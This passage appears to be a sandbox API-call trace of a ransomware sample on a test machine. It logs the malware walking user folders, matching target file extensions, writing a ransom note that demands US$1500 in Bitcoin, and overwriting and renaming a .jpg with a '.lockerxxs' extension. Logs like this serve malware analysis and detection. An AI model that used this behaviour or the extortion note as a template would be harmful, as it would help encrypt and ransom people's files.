(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.dwg") returned 0 [0090.933] lstrlenA (lpString="*.dwg") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.nd") returned 0 [0090.933] lstrlenA (lpString="*.nd") returned 4 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.tlg") returned 0 [0090.933] lstrlenA (lpString="*.tlg") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.lgb") returned 0 [0090.933] lstrlenA (lpString="*.lgb") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mov") returned 0 [0090.933] lstrlenA (lpString="*.mov") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.xdw") returned 0 [0090.933] lstrlenA (lpString="*.xdw") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.ods") returned 0 [0090.933] lstrlenA (lpString="*.ods") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.wav") returned 0 [0090.933] lstrlenA (lpString="*.wav") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.mp3") returned 0 [0090.933] lstrlenA (lpString="*.mp3") returned 5 [0090.933] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.aiff") returned 0 [0090.933] lstrlenA (lpString="*.aiff") returned 6 [0090.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.flac") returned 0 [0090.934] lstrlenA (lpString="*.flac") returned 6 [0090.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.m4a") returned 0 [0090.934] lstrlenA (lpString="*.m4a") returned 5 [0090.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp", pszSpec="*.csv") returned 0 [0090.934] lstrlenA (lpString="*.csv") returned 5 [0090.934] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41062710, ftCreationTime.dwHighDateTime=0x1d5daac, ftLastAccessTime.dwLowDateTime=0xb3ac2e90, ftLastAccessTime.dwHighDateTime=0x1d5df93, ftLastWriteTime.dwLowDateTime=0xb3ac2e90, ftLastWriteTime.dwHighDateTime=0x1d5df93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CISS89zR13oJxpNgy", cAlternateFileName="CISS89~1")) returned 1 [0090.934] lstrcmpA (lpString1=".", lpString2="CISS89zR13oJxpNgy") returned -1 [0090.934] lstrcmpA (lpString1="..", lpString2="CISS89zR13oJxpNgy") returned -1 [0090.934] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\5AEs.bmp") returned="5AEs.bmp" [0090.934] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="CISS89zR13oJxpNgy" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy" [0090.934] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy") returned 77 [0090.934] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41062710, ftCreationTime.dwHighDateTime=0x1d5daac, ftLastAccessTime.dwLowDateTime=0xb3ac2e90, ftLastAccessTime.dwHighDateTime=0x1d5df93, ftLastWriteTime.dwLowDateTime=0xb3ac2e90, ftLastWriteTime.dwHighDateTime=0x1d5df93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x52d5e8, cFileName=".", cAlternateFileName="")) returned 0x502658 [0090.934] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.934] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41062710, ftCreationTime.dwHighDateTime=0x1d5daac, ftLastAccessTime.dwLowDateTime=0xb3ac2e90, ftLastAccessTime.dwHighDateTime=0x1d5df93, ftLastWriteTime.dwLowDateTime=0xb3ac2e90, ftLastWriteTime.dwHighDateTime=0x1d5df93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0090.934] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.934] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.935] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1013c0, ftCreationTime.dwHighDateTime=0x1d5e212, ftLastAccessTime.dwLowDateTime=0x696457e0, ftLastAccessTime.dwHighDateTime=0x1d5dd9f, ftLastWriteTime.dwLowDateTime=0x696457e0, ftLastWriteTime.dwHighDateTime=0x1d5dd9f, nFileSizeHigh=0x0, nFileSizeLow=0x3252, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BDl0a4Av.jpg", cAlternateFileName="")) returned 1 [0090.935] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0090.935] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BDl0a4Av.jpg") returned 1 [0090.935] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BDl0a4Av.jpg") returned 1 [0090.935] lstrcmpiA (lpString1="", lpString2="BDl0a4Av.jpg") returned -1 [0090.935] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\*.*") returned="*.*" [0090.935] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" [0090.935] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="" [0090.935] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" [0090.935] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\how to decrypt files.txt")) returned 0xffffffff [0090.935] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0090.936] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.936] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.938] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.938] CloseHandle (hObject=0x94) returned 1 [0090.938] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="BDl0a4Av.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" [0090.938] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.ems") returned 0 [0090.938] lstrlenA (lpString="*.ems") returned 5 [0090.938] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.db") returned 0 [0090.938] lstrlenA (lpString="*.db") returned 4 [0090.938] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.dbf") returned 0 [0090.938] lstrlenA (lpString="*.dbf") returned 5 [0090.938] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.myox") returned 0 [0090.938] lstrlenA (lpString="*.myox") returned 6 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.myo") returned 0 [0090.939] lstrlenA (lpString="*.myo") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qbw") returned 0 [0090.939] lstrlenA (lpString="*.qbw") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qbb") returned 0 [0090.939] lstrlenA (lpString="*.qbb") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qbm") returned 0 [0090.939] lstrlenA (lpString="*.qbm") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qbo") returned 0 [0090.939] lstrlenA (lpString="*.qbo") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qbx") returned 0 [0090.939] lstrlenA (lpString="*.qbx") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qba") returned 0 [0090.939] lstrlenA (lpString="*.qba") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qby") returned 0 [0090.939] lstrlenA (lpString="*.qby") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qbj") returned 0 [0090.939] lstrlenA (lpString="*.qbj") returned 5 [0090.939] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.ofx") returned 0 [0090.940] lstrlenA (lpString="*.ofx") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.qif") returned 0 [0090.940] lstrlenA (lpString="*.qif") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.mye") returned 0 [0090.940] lstrlenA (lpString="*.mye") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.mbox") returned 0 [0090.940] lstrlenA (lpString="*.mbox") returned 6 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.eml") returned 0 [0090.940] lstrlenA (lpString="*.eml") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.pst") returned 0 [0090.940] lstrlenA (lpString="*.pst") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.ost") returned 0 [0090.940] lstrlenA (lpString="*.ost") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.idx") returned 0 [0090.940] lstrlenA (lpString="*.idx") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.dbx") returned 0 [0090.940] lstrlenA (lpString="*.dbx") returned 5 [0090.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.sql") returned 0 [0090.940] lstrlenA (lpString="*.sql") returned 5 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.mdb") returned 0 [0090.941] lstrlenA (lpString="*.mdb") returned 5 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.fdb") returned 0 [0090.941] lstrlenA (lpString="*.fdb") returned 5 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.wab") returned 0 [0090.941] lstrlenA (lpString="*.wab") returned 5 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.dat") returned 0 [0090.941] lstrlenA (lpString="*.dat") returned 5 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.txt") returned 0 [0090.941] lstrlenA (lpString="*.txt") returned 5 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.jpeg") returned 0 [0090.941] lstrlenA (lpString="*.jpeg") returned 6 [0090.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", pszSpec="*.jpg") returned 1 [0090.941] lstrlenA (lpString="*.jpg") returned 5 [0090.941] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" [0090.941] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" [0090.941] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg." [0090.941] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg.lockerxxs" [0090.941] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\bdl0a4av.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0090.942] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3252 [0090.942] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1013c0, dwHighDateTime=0x1d5e212), lpLastAccessTime=0x407536*(dwLowDateTime=0x696457e0, dwHighDateTime=0x1d5dd9f), lpLastWriteTime=0x40753e*(dwLowDateTime=0x696457e0, dwHighDateTime=0x1d5dd9f)) returned 1 [0090.942] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.943] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x322c, lpOverlapped=0x0) returned 1 [0090.944] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg") returned="BDl0a4Av.jpg" [0090.944] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.944] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x322c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x322c, lpOverlapped=0x0) returned 1 [0090.945] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.945] CloseHandle (hObject=0x94) returned 1 [0090.945] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\bdl0a4av.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\bdl0a4av.jpg.lockerxxs")) returned 1 [0090.947] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ba9580, ftCreationTime.dwHighDateTime=0x1d5dc86, ftLastAccessTime.dwLowDateTime=0x7962cb20, ftLastAccessTime.dwHighDateTime=0x1d5df90, ftLastWriteTime.dwLowDateTime=0x7962cb20, ftLastWriteTime.dwHighDateTime=0x1d5df90, nFileSizeHigh=0x0, nFileSizeLow=0x17ca8, dwReserved0=0x3900033a, dwReserved1=0x4e00c4, cFileName="F7cGZVL0.gif", cAlternateFileName="")) returned 1 [0090.947] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0090.948] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="F7cGZVL0.gif") returned -1 [0090.948] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="F7cGZVL0.gif") returned 1 [0090.948] lstrcmpiA (lpString1="", lpString2="F7cGZVL0.gif") returned -1 [0090.948] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\BDl0a4Av.jpg") returned="BDl0a4Av.jpg" [0090.948] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" [0090.948] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\") returned="" [0090.948] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\HOW TO DECRYPT FILES.txt" [0090.948] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS 